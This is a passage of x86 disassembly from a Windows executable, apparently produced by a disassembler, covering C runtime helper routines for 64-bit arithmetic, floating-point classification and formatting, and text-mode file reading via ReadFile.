loc_40C10F: ; CODE XREF: sub_40BEE0+223j
mov edx, [ebp+arg_8]
movzx eax, byte ptr [ebp+var_4+3]
mov [edx+6], ax
mov eax, [ebp+var_8]
loc_40C11D: ; CODE XREF: sub_40BEE0+36j
; sub_40BEE0+E2j ...
pop ebx
mov esp, ebp
pop ebp
retn
sub_40BEE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40C130 proc near ; CODE XREF: sub_40B000+CFp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_4]
or eax, eax
jnz short loc_40C151
mov ecx, [esp+4+arg_0]
mov eax, [esp+4+arg_C]
xor edx, edx
div ecx
mov eax, [esp+4+arg_8]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_40C1A1
; ---------------------------------------------------------------------------
loc_40C151: ; CODE XREF: sub_40C130+7j
mov ecx, eax
mov ebx, [esp+4+arg_0]
mov edx, [esp+4+arg_C]
mov eax, [esp+4+arg_8]
loc_40C15F: ; CODE XREF: sub_40C130+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_40C15F
div ebx
mov ecx, eax
mul [esp+4+arg_4]
xchg eax, ecx
mul [esp+4+arg_0]
add edx, ecx
jb short loc_40C18A
cmp edx, [esp+4+arg_C]
ja short loc_40C18A
jb short loc_40C192
cmp eax, [esp+4+arg_8]
jbe short loc_40C192
loc_40C18A: ; CODE XREF: sub_40C130+4Aj
; sub_40C130+50j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
loc_40C192: ; CODE XREF: sub_40C130+52j
; sub_40C130+58j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
neg edx
neg eax
sbb edx, 0
loc_40C1A1: ; CODE XREF: sub_40C130+1Fj
pop ebx
retn 10h
sub_40C130 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40C1B0 proc near ; CODE XREF: sub_40B000+116p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_40C1D1
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_40C1D1: ; CODE XREF: sub_40C1B0+Bj
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_40C1ED
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_40C1ED: ; CODE XREF: sub_40C1B0+27j
or eax, eax
jnz short loc_40C209
mov ecx, [esp+0Ch+arg_0]
mov eax, [esp+0Ch+arg_C]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_8]
div ecx
mov edx, ebx
jmp short loc_40C24A
; ---------------------------------------------------------------------------
loc_40C209: ; CODE XREF: sub_40C1B0+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_C]
mov eax, [esp+0Ch+arg_8]
loc_40C217: ; CODE XREF: sub_40C1B0+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_40C217
div ecx
mov esi, eax
mul [esp+0Ch+arg_4]
mov ecx, eax
mov eax, [esp+0Ch+arg_0]
mul esi
add edx, ecx
jb short loc_40C245
cmp edx, [esp+0Ch+arg_C]
ja short loc_40C245
jb short loc_40C246
cmp eax, [esp+0Ch+arg_8]
jbe short loc_40C246
loc_40C245: ; CODE XREF: sub_40C1B0+85j
; sub_40C1B0+8Bj
dec esi
loc_40C246: ; CODE XREF: sub_40C1B0+8Dj
; sub_40C1B0+93j
xor edx, edx
mov eax, esi
loc_40C24A: ; CODE XREF: sub_40C1B0+57j
dec edi
jnz short loc_40C254
neg edx
neg eax
sbb edx, 0
loc_40C254: ; CODE XREF: sub_40C1B0+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_40C1B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40C260 proc near ; CODE XREF: sub_40B000+13Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_C]
mov ecx, [esp+arg_4]
or ecx, eax
mov ecx, [esp+arg_0]
jnz short loc_40C279
mov eax, [esp+arg_8]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_40C279: ; CODE XREF: sub_40C260+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_8]
mul [esp+4+arg_4]
add ebx, eax
mov eax, [esp+4+arg_8]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_40C260 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40C2A0 proc near ; CODE XREF: sub_40B240+5p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
movzx eax, word ptr [ecx+6]
and eax, 7FF0h
cmp eax, 7FF0h
jnz short loc_40C2E3
test word ptr [ecx+6], 0Fh
jnz short loc_40C2D0
cmp word ptr [ecx+4], 0
jnz short loc_40C2D0
cmp word ptr [ecx+2], 0
jnz short loc_40C2D0
cmp word ptr [ecx], 0
jz short loc_40C2D7
loc_40C2D0: ; CODE XREF: sub_40C2A0+1Aj
; sub_40C2A0+21j ...
mov edx, 2
jmp short loc_40C2DC
; ---------------------------------------------------------------------------
loc_40C2D7: ; CODE XREF: sub_40C2A0+2Ej
mov edx, 1
loc_40C2DC: ; CODE XREF: sub_40C2A0+35j
mov ax, dx
movsx eax, ax
retn
; ---------------------------------------------------------------------------
loc_40C2E3: ; CODE XREF: sub_40C2A0+12j
movzx eax, word ptr [ecx+6]
test eax, 0FFFF7FFFh
jnz short loc_40C302
cmp word ptr [ecx+4], 0
jnz short loc_40C302
cmp word ptr [ecx+2], 0
jnz short loc_40C302
cmp word ptr [ecx], 0
jz short loc_40C306
loc_40C302: ; CODE XREF: sub_40C2A0+4Cj
; sub_40C2A0+53j ...
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40C306: ; CODE XREF: sub_40C2A0+60j
xor eax, eax
retn
sub_40C2A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C310 proc near ; CODE XREF: sub_40B250+5Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_40CEF0
add esp, 8
movsx eax, ax
pop ebp
retn
sub_40C310 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C330 proc near ; CODE XREF: sub_40B250+200p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_40CF90
add esp, 8
movsx eax, ax
pop ebp
retn
sub_40C330 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40C350 proc near ; CODE XREF: sub_40B250+20Bp
; sub_40B250+498p
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
sub esp, 0Ch
fstcw [esp+0Ch+var_2]
mov ax, [esp+0Ch+var_2]
or ah, 0Ch
mov [esp+0Ch+var_4], ax
fldcw [esp+0Ch+var_4]
fistp [esp+0Ch+var_C]
fldcw [esp+0Ch+var_2]
mov eax, dword ptr [esp+0Ch+var_C]
mov edx, dword ptr [esp+0Ch+var_C+4]
add esp, 0Ch
retn
sub_40C350 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C380 proc near ; CODE XREF: sub_40B250+4D6p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, ebx
mov ecx, esi
cdq
idiv ecx
mov [ebp+var_8], eax
mov edx, esi
imul edx, eax
mov eax, ebx
sub eax, edx
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
mov edx, [ebp+var_4]
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40C380 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C3B0 proc near ; CODE XREF: sub_40B250+64Cp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = word ptr 14h
arg_10 = word ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
mov eax, off_4119D0
mov al, [eax]
mov [ebp+var_1], al
cmp [ebp+arg_C], 0
jg short loc_40C3D5
mov [ebp+arg_C], 1
mov [ebp+arg_8], offset dword_4101A0
loc_40C3D5: ; CODE XREF: sub_40C3B0+16j
mov al, [ebp+arg_4]
cmp al, 66h
jz short loc_40C409
cmp al, 46h
jz short loc_40C409
cmp al, 67h
jz short loc_40C3EC
cmp al, 47h
jnz loc_40C653
loc_40C3EC: ; CODE XREF: sub_40C3B0+32j
mov ax, [ebp+arg_10]
cmp ax, 0FFFCh
jl loc_40C653
movsx eax, ax
mov edx, [ebp+arg_0]
cmp eax, [edx+2Ch]
jge loc_40C653
loc_40C409: ; CODE XREF: sub_40C3B0+2Aj
; sub_40C3B0+2Ej
add [ebp+arg_10], 1
mov al, [ebp+arg_4]
cmp al, 67h
jz short loc_40C419
cmp al, 47h
jnz short loc_40C454
loc_40C419: ; CODE XREF: sub_40C3B0+63j
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 8
jnz short loc_40C437
movsx edx, [ebp+arg_C]
cmp edx, [eax+2Ch]
jge short loc_40C437
mov edx, [ebp+arg_0]
movsx eax, [ebp+arg_C]
mov [edx+2Ch], eax
loc_40C437: ; CODE XREF: sub_40C3B0+72j
; sub_40C3B0+7Bj
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
movsx ecx, [ebp+arg_10]
sub edx, ecx
mov [eax+2Ch], edx
test edx, edx
jge short loc_40C454
mov edx, [ebp+arg_0]
mov dword ptr [edx+2Ch], 0
loc_40C454: ; CODE XREF: sub_40C3B0+67j
; sub_40C3B0+98j
cmp [ebp+arg_10], 0
jg loc_40C520
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
lea ecx, [edx+1]
mov [eax+1Ch], ecx
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
mov byte ptr [eax+edx], 30h
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jg short loc_40C486
test word ptr [eax+38h], 8
jz short loc_40C49E
loc_40C486: ; CODE XREF: sub_40C3B0+CCj
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
lea ecx, [edx+1]
mov [eax+1Ch], ecx
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
mov cl, [ebp+var_1]
mov [eax+edx], cl
loc_40C49E: ; CODE XREF: sub_40C3B0+D4j
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_10]
neg edx
cmp [eax+2Ch], edx
jge short loc_40C4B8
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
neg eax
mov [ebp+arg_10], ax
loc_40C4B8: ; CODE XREF: sub_40C3B0+FAj
mov edx, [ebp+arg_0]
movsx eax, [ebp+arg_10]
neg eax
mov [edx+20h], eax
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_10]
mov ecx, [eax+2Ch]
add edx, ecx
mov [eax+2Ch], edx
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
cmp [eax+2Ch], edx
jge short loc_40C4E9
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
mov [ebp+arg_C], ax
loc_40C4E9: ; CODE XREF: sub_40C3B0+12Dj
movsx eax, [ebp+arg_C]
mov edx, [ebp+arg_0]
mov [edx+24h], eax
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
push eax
call sub_407630
add esp, 0Ch
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
movsx ecx, [ebp+arg_C]
sub edx, ecx
mov [eax+28h], edx
jmp loc_40C845
; ---------------------------------------------------------------------------
loc_40C520: ; CODE XREF: sub_40C3B0+A9j
mov ax, [ebp+arg_10]
cmp [ebp+arg_C], ax
jge short loc_40C59A
movsx eax, [ebp+arg_C]
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
push eax
call sub_407630
add esp, 0Ch
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
mov ecx, [eax+1Ch]
add edx, ecx
mov [eax+1Ch], edx
mov edx, [ebp+arg_0]
movsx eax, [ebp+arg_10]
movsx ecx, [ebp+arg_C]
sub eax, ecx
mov [edx+20h], eax
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jg short loc_40C577
test word ptr [eax+38h], 8
jz short loc_40C58C
loc_40C577: ; CODE XREF: sub_40C3B0+1BDj
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
mov cl, [ebp+var_1]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
inc dword ptr [eax+24h]
loc_40C58C: ; CODE XREF: sub_40C3B0+1C5j
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
mov [eax+28h], edx
jmp loc_40C845
; ---------------------------------------------------------------------------
loc_40C59A: ; CODE XREF: sub_40C3B0+178j
movsx eax, [ebp+arg_10]
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
push eax
call sub_407630
add esp, 0Ch
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_10]
mov ecx, [eax+1Ch]
add edx, ecx
mov [eax+1Ch], edx
mov ax, [ebp+arg_10]
sub [ebp+arg_C], ax
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jg short loc_40C5DF
test word ptr [eax+38h], 8
jz short loc_40C5F7
loc_40C5DF: ; CODE XREF: sub_40C3B0+225j
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
lea ecx, [edx+1]
mov [eax+1Ch], ecx
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
mov cl, [ebp+var_1]
mov [eax+edx], cl
loc_40C5F7: ; CODE XREF: sub_40C3B0+22Dj
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
cmp [eax+2Ch], edx
jge short loc_40C60D
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
mov [ebp+arg_C], ax
loc_40C60D: ; CODE XREF: sub_40C3B0+251j
movsx eax, [ebp+arg_C]
push eax
movsx eax, [ebp+arg_10]
mov edx, [ebp+arg_8]
add eax, edx
push eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
push eax
call sub_407630
add esp, 0Ch
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
mov ecx, [eax+1Ch]
add edx, ecx
mov [eax+1Ch], edx
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
movsx ecx, [ebp+arg_C]
sub edx, ecx
mov [eax+20h], edx
jmp loc_40C845
; ---------------------------------------------------------------------------
loc_40C653: ; CODE XREF: sub_40C3B0+36j
; sub_40C3B0+44j ...
mov al, [ebp+arg_4]
cmp al, 67h
jz short loc_40C65E
cmp al, 47h
jnz short loc_40C6A9
loc_40C65E: ; CODE XREF: sub_40C3B0+2A8j
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
cmp edx, [eax+2Ch]
jge short loc_40C67C
test word ptr [eax+38h], 8
jnz short loc_40C67C
mov edx, [ebp+arg_0]
movsx eax, [ebp+arg_C]
mov [edx+2Ch], eax
loc_40C67C: ; CODE XREF: sub_40C3B0+2B8j
; sub_40C3B0+2C0j
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
dec edx
mov [eax+2Ch], edx
test edx, edx
jge short loc_40C694
mov edx, [ebp+arg_0]
mov dword ptr [edx+2Ch], 0
loc_40C694: ; CODE XREF: sub_40C3B0+2D8j
xor eax, eax
cmp [ebp+arg_4], 67h
setnz al
dec eax
and eax, 20h
add eax, 45h
mov [ebp+arg_4], al
jmp short loc_40C6BF
; ---------------------------------------------------------------------------
loc_40C6A9: ; CODE XREF: sub_40C3B0+2ACj
cmp [ebp+arg_4], 61h
jnz short loc_40C6B5
mov [ebp+arg_4], 70h
jmp short loc_40C6BF
; ---------------------------------------------------------------------------
loc_40C6B5: ; CODE XREF: sub_40C3B0+2FDj
cmp [ebp+arg_4], 41h
jnz short loc_40C6BF
mov [ebp+arg_4], 50h
loc_40C6BF: ; CODE XREF: sub_40C3B0+2F7j
; sub_40C3B0+303j ...
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
lea ecx, [edx+1]
mov [eax+1Ch], ecx
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov [ebp+arg_8], ecx
mov ecx, [ebp+arg_0]
mov ecx, [ecx+10h]
mov al, [eax]
mov [ecx+edx], al
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jg short loc_40C6F0
test word ptr [eax+38h], 8
jz short loc_40C708
loc_40C6F0: ; CODE XREF: sub_40C3B0+336j
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
lea ecx, [edx+1]
mov [eax+1Ch], ecx
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
mov cl, [ebp+var_1]
mov [eax+edx], cl
loc_40C708: ; CODE XREF: sub_40C3B0+33Ej
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jle short loc_40C76B
mov ax, [ebp+arg_C]
dec ax
mov [ebp+arg_C], ax
mov edx, [ebp+arg_0]
movsx eax, ax
cmp [edx+2Ch], eax
jge short loc_40C730
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
mov [ebp+arg_C], ax
loc_40C730: ; CODE XREF: sub_40C3B0+374j
movsx eax, [ebp+arg_C]
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
push eax
call sub_407630
add esp, 0Ch
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
mov ecx, [eax+1Ch]
add edx, ecx
mov [eax+1Ch], edx
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
movsx ecx, [ebp+arg_C]
sub edx, ecx
mov [eax+20h], edx
loc_40C76B: ; CODE XREF: sub_40C3B0+35Fj
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
mov [ebp+arg_8], eax
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov dl, [ebp+arg_4]
mov [eax], dl
cmp [ebp+arg_10], 0
jl short loc_40C799
mov eax, [ebp+arg_8]
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov byte ptr [eax], 2Bh
jmp short loc_40C7A9
; ---------------------------------------------------------------------------
loc_40C799: ; CODE XREF: sub_40C3B0+3D9j
mov eax, [ebp+arg_8]
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov byte ptr [eax], 2Dh
neg [ebp+arg_10]
loc_40C7A9: ; CODE XREF: sub_40C3B0+3E7j
mov [ebp+var_8], 0
jmp short loc_40C7DB
; ---------------------------------------------------------------------------
loc_40C7B2: ; CODE XREF: sub_40C3B0+430j
push 0Ah
movsx eax, [ebp+arg_10]
push eax
call sub_40D1B0
add esp, 8
mov [ebp+var_1C], eax
mov [ebp+var_18], edx
mov eax, [ebp+var_8]
mov edx, [ebp+var_18]
mov [ebp+eax+var_12], dl
mov eax, [ebp+var_1C]
mov [ebp+arg_10], ax
inc [ebp+var_8]
loc_40C7DB: ; CODE XREF: sub_40C3B0+400j
cmp [ebp+arg_10], 0
jg short loc_40C7B2
cmp [ebp+var_8], 2
jge short loc_40C7FF
mov al, [ebp+arg_4]
cmp al, 65h
jz short loc_40C7F3
cmp al, 45h
jnz short loc_40C7FF
loc_40C7F3: ; CODE XREF: sub_40C3B0+43Dj
mov eax, [ebp+arg_8]
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov byte ptr [eax], 30h
loc_40C7FF: ; CODE XREF: sub_40C3B0+436j
; sub_40C3B0+441j
cmp [ebp+var_8], 0
jnz short loc_40C82C
mov eax, [ebp+arg_8]
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov byte ptr [eax], 30h
jmp short loc_40C82C
; ---------------------------------------------------------------------------
loc_40C813: ; CODE XREF: sub_40C3B0+480j
mov eax, [ebp+arg_8]
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov edx, [ebp+var_8]
dec edx
mov [ebp+var_8], edx
mov dl, [ebp+edx+var_12]
add dl, 30h
mov [eax], dl
loc_40C82C: ; CODE XREF: sub_40C3B0+453j
; sub_40C3B0+461j
cmp [ebp+var_8], 0
jg short loc_40C813
mov eax, [ebp+arg_0]
mov edx, [ebp+arg_8]
mov ecx, [eax+1Ch]
mov ebx, [eax+10h]
add ecx, ebx
sub edx, ecx
mov [eax+24h], edx
loc_40C845: ; CODE XREF: sub_40C3B0+16Bj
; sub_40C3B0+1E5j ...
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax+38h]
and eax, 14h
cmp eax, 10h
jnz short loc_40C888
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
mov ecx, [eax+1Ch]
add edx, ecx
mov ecx, [eax+20h]
add edx, ecx
mov ecx, [eax+24h]
add edx, ecx
mov eax, [eax+28h]
add eax, edx
mov [ebp+var_8], eax
mov eax, [ebp+arg_0]
mov eax, [eax+34h]
cmp [ebp+var_8], eax
jge short loc_40C888
mov eax, [ebp+arg_0]
mov edx, [eax+34h]
sub edx, [ebp+var_8]
mov [eax+18h], edx
loc_40C888: ; CODE XREF: sub_40C3B0+4A2j
; sub_40C3B0+4CAj
pop ebx
mov esp, ebp
pop ebp
retn
sub_40C3B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C890 proc near ; CODE XREF: sub_40B8E0+348p
; DMN0:0040CC0Bp
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
xor edi, edi
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
cmp [ebp+arg_8], 0
jz short loc_40C8C5
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 2
jz short loc_40C8CC
loc_40C8C5: ; CODE XREF: sub_40C890+18j
xor eax, eax
jmp loc_40CBB5
; ---------------------------------------------------------------------------
loc_40C8CC: ; CODE XREF: sub_40C890+33j
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
add eax, edx
test byte ptr [eax+4], 48h
jz short loc_40C92E
cmp byte ptr [eax+5], 0Ah
jz short loc_40C92E
mov eax, [ebp+var_C]
lea edx, [eax+1]
mov [ebp+var_C], edx
mov edx, ebx
and edx, 1Fh
imul edx, 24h
mov ecx, ebx
sar ecx, 5
mov ecx, dword_413988[ecx*4]
mov dl, [ecx+edx+5]
mov [eax], dl
inc edi
dec [ebp+arg_8]
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov byte ptr [edx+eax+5], 0Ah
loc_40C92E: ; CODE XREF: sub_40C890+56j
; sub_40C890+5Cj
push 0
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+var_C]
push eax
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov eax, [edx+eax]
push eax
call dword_411E18 ; ReadFile
test eax, eax
jnz short loc_40C99E
call dword_411CE8 ; RtlGetLastWin32Error
mov [ebp+var_10], eax
cmp eax, 5
jnz short loc_40C97F
call sub_4083A0
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp loc_40CBB5
; ---------------------------------------------------------------------------
loc_40C97F: ; CODE XREF: sub_40C890+DAj
cmp [ebp+var_10], 6Dh
jnz short loc_40C98C
xor eax, eax
jmp loc_40CBB5
; ---------------------------------------------------------------------------
loc_40C98C: ; CODE XREF: sub_40C890+F3j
mov eax, [ebp+var_10]
push eax
call sub_408240
pop ecx
or eax, 0FFFFFFFFh
jmp loc_40CBB5
; ---------------------------------------------------------------------------
loc_40C99E: ; CODE XREF: sub_40C890+CCj
mov eax, [ebp+var_4]
add edi, eax
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 80h
jz loc_40CBB3
cmp [ebp+var_4], 0
jz short loc_40C9ED
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0Ah
jnz short loc_40C9ED
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
or byte ptr [eax], 4
jmp short loc_40CA08
; ---------------------------------------------------------------------------
loc_40C9ED: ; CODE XREF: sub_40C890+136j
; sub_40C890+13Ej
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
and byte ptr [eax], 0FBh
loc_40CA08: ; CODE XREF: sub_40C890+15Bj
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov esi, eax
jmp loc_40CB9C
; ---------------------------------------------------------------------------
loc_40CA15: ; CODE XREF: sub_40C890+313j
cmp byte ptr [esi], 1Ah
jnz short loc_40CA59
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 40h
jnz loc_40CBA9
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
or byte ptr [eax], 2
jmp loc_40CBA9
; ---------------------------------------------------------------------------
loc_40CA59: ; CODE XREF: sub_40C890+188j
cmp byte ptr [esi], 0Dh
jz short loc_40CA73
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov edx, esi
inc esi
mov dl, [edx]
mov [eax], dl
jmp loc_40CB9C
; ---------------------------------------------------------------------------
loc_40CA73: ; CODE XREF: sub_40C890+1CCj
mov eax, [ebp+arg_4]
lea eax, [eax+edi-1]
cmp esi, eax
jnb short loc_40CAAD
cmp byte ptr [esi+1], 0Ah
jnz short loc_40CA98
add esi, 2
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Ah
jmp loc_40CB9C
; ---------------------------------------------------------------------------
loc_40CA98: ; CODE XREF: sub_40C890+1F2j
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov edx, esi
inc esi
mov dl, [edx]
mov [eax], dl
jmp loc_40CB9C
; ---------------------------------------------------------------------------
loc_40CAAD: ; CODE XREF: sub_40C890+1ECj
inc esi
mov [ebp+var_10], 0
push 0
lea eax, [ebp+var_4]
push eax
push 1
lea eax, [ebp+var_11]
push eax
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov eax, [edx+eax]
push eax
call dword_411E18 ; ReadFile
test eax, eax
jnz short loc_40CAEC
call dword_411CE8 ; RtlGetLastWin32Error
mov [ebp+var_10], eax
loc_40CAEC: ; CODE XREF: sub_40C890+251j
cmp [ebp+var_10], 0
jnz short loc_40CAF8
cmp [ebp+var_4], 0
jnz short loc_40CB09
loc_40CAF8: ; CODE XREF: sub_40C890+260j
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Dh
jmp loc_40CB9C
; ---------------------------------------------------------------------------
loc_40CB09: ; CODE XREF: sub_40C890+266j
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 48h
jz short loc_40CB61
cmp [ebp+var_11], 0Ah
jnz short loc_40CB38
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Ah
jmp short loc_40CB9C
; ---------------------------------------------------------------------------
loc_40CB38: ; CODE XREF: sub_40C890+298j
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Dh
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
